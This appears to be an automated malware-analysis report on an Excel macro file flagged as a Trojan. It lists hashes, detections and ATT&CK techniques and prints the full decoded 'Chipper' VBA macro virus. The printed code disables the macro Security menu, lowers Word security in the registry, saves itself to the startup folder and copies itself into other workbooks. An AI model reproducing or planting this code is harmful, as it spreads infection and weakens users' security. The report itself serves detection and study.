Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ed3b5a00cf61ac0e…

MALICIOUS

Office (OLE)

24.0 KB Created: 2000-09-03 19:03:53 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 3f6deaa000a205a7e01d3138a7ec5e5d SHA-1: 09b6ae0e2fd89b928ae3ebee7f727f3714bf6001 SHA-256: ed3b5a00cf61ac0e770f5e24e19dbb477a1c776eb767dc9a522f3e4367f62a94
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as malicious by ClamAV with multiple signatures indicating it is a Trojan. The VBA macro code attempts to modify the Word security level and save a file named 'Book1.' to the application startup path, suggesting an attempt to establish persistence. The macro also appears to be obfuscated and truncated, making a full analysis difficult.

Heuristics 2

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2831 bytes
SHA-256: 55158d4f2565cc0e28605f49f0d0cae9888ecd8b2c597d8a8920ae5dfb0ca2cf
Detection
ClamAV: Xls.Trojan.Chip-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'
Private Sub Workbook_Deactivate()

' Chipper By The WalruS
' v1.00 09/00

    On Error Resume Next
    
    With Application
        .DisplayAlerts = 0
        .ScreenUpdating = 0
        .DisplayStatusBar = 0
        .UserName = "The WalruS"
    End With

    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

    Installed = Dir(Application.StartupPath & "\Book1.")
    If Installed = "" Then
        VBAProject.ThisWorkbook.SaveAs Filename:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
    End If
    
    Set ActiveWB = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set ThisWB = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule

    If ActiveWB.Lines(1, 1) <> "'" Then
        ActiveWB.DeleteLines 1, ActiveWB.CountofLines
        ActiveWB.InsertLines 1, ThisWB.Lines(1, ThisWB.CountofLines)
        Application.Caption = "Time For Chipper To Move On!"
        
        With ActiveWorkbook
            .Title = "Chipper"
            .Author = "The WalruS"
        End With
        
        ActiveWorkbook.Save
    End If
    
    If Second(Now) > 58 Then
        MsgBox "Shutdown Error On Previous Close", vbCritical, "Chipper"
        Do
        DoEvents
        Randomize
            If Int(Rnd * 10000) = 2 Then
                Application.WindowState = xlMinimized
                Application.WindowState = xlMaximized
            End If
        Loop
    End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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